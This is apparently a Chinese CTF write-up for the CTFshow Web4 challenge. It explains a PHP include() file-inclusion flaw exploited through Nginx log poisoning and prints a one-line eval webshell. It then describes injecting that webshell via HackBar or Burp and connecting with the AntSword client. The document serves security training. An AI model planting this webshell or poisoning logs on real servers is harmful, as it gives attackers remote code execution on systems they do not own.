CTFSHOW—WEB4

知识点补充

1.代码解读:

  • 从URL参数中获取url的值

  • 使用include()函数将该值作为文件路径包含到当前PHP脚本中

2.这是一道日志注入 文件包含题目;需要注意在进行日志文件注入的时候需要分辨服务器的类型

Apache,日志存放路径:/var/log/apache/access.log

Ngnix,日志存放路径:/var/log/nginx/access.log 和 /var/log/nginx/error.log

3.一句话木马

复制代码
<?php @eval($_POST['pass']);?>
  • $_POST['pass']:接收客户端通过POST方法传递过来的、名为pass的参数。这个参数的值是一段可执行的PHP代码。

  • eval():函数将接收到的字符串当作PHP代码来执行。

  • @:符号用于屏蔽执行过程中可能产生的错误信息,使其更加隐蔽。

4.中国蚁剑

使用一句话木马所留的后门进行连接,读取网站内容

解题思路

1.判断服务器类型:使用wappalyzer插件,此服务器是nginx

2.读取日志文件发现可以只有/var/log/nginx/access.log可以爆出数据

现在有两种方法进行解题

a.使用插件HackBar直接上传post请求写入一句话木马:<?php @eval($_POST['pass']);?>

b.使用burp抓包然后添加一句话

3.使用蚁剑,直接连接

相关推荐
何妨呀~22 分钟前
Keepalived+Haproxy高可用集群实验
linux·服务器·网络
(Charon)31 分钟前
[网络编程] 基于 DPDK 的 UDP 报文收发实现
网络·网络协议·udp
..过云雨32 分钟前
HTTP 协议深度解析:请求/响应、报头、正文的核心原理与实战
网络·网络协议·tcp/ip·计算机网络·http
数字供应链安全产品选型1 小时前
悬镜安全:情报驱动的供应链安全治理
安全
wechat_Neal1 小时前
车载以太网技术全景-网络基础理论篇
网络
水境传感 张园园1 小时前
便携式光透过率检测仪:如何成为安全“守门人”?
网络
蝎蟹居2 小时前
GBT 4706.1-2024逐句解读系列(25) 第7.5条款:不同电压功率需清晰明确
人工智能·单片机·嵌入式硬件·物联网·安全
做萤石二次开发的哈哈2 小时前
萤石开放平台 萤石可编程设备 | 设备 Python SDK 使用说明
开发语言·网络·python·php·萤石云·萤石
盈创力和20072 小时前
面向医疗安全的边缘智能终端:以太网温湿度多参量传感器在环氧乙烷灭菌环境中的双气体监测架构设计
安全·有害气体监测·以太网温湿度气体多参量传感器·物联网多合一传感器·可定制气体监测模组
nvd112 小时前
从 SSE 到 Streamable HTTP:MCP Server 的现代化改造之旅
网络·网络协议·http